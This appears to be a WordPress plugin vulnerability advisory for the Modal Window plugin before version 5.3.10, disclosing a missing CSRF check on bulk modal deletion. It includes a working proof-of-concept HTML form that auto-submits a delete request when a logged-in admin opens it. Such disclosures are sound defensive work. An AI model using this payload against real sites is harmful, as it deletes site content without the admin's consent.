WordPress Plugin Vulnerabilities

Modal Window < 5.3.10 - Modal Deletion via CSRF

Description

The plugin does not have CSRF check in place when bulk deleting modals, which could allow attackers to make a logged in admin delete them via a CSRF attack

Proof of Concept

Have a logged in admin open an HTML file containing where `ID` is an existing modal: 

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=modal-window" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```

Affects Plugins

Fixed in 5.3.10

References

Classification

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-04-11 (about 1 months ago)
Added
2024-04-11 (about 1 months ago)
Last Updated
2024-04-11 (about 1 months ago)

Other